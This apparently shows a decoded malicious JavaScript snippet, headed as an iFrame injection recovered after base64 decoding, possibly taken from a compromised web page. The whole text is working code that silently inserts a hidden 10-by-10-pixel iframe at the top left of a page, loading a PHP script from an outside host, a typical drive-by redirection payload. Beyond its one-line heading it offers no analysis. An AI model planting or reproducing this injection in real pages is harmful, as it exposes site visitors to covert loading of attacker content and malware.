iFrame injection (after base64 decode)

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if (document.getElementsByTagName('body')[0]){
  iframer();
}
else {
  document.write("
<iframe src='http://dskigtbah.kwik.to/vc.php?go=2' width='10' height='10' style='visibilit
y:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
  var f = document.createElement('iframe');
  f.setAttribute('src', 'http://dskigtbah.kwik.to/vc.php?go=2');
  f.style.visibility = 'hidden';
  f.style.position = 'absolute';
  f.style.left = '0';
  f.style.top = '0';
  f.setAttribute('width', '10');
  f.setAttribute('height', '10');
  document.getElementsByTagName('body')[0].appendChild(f);
}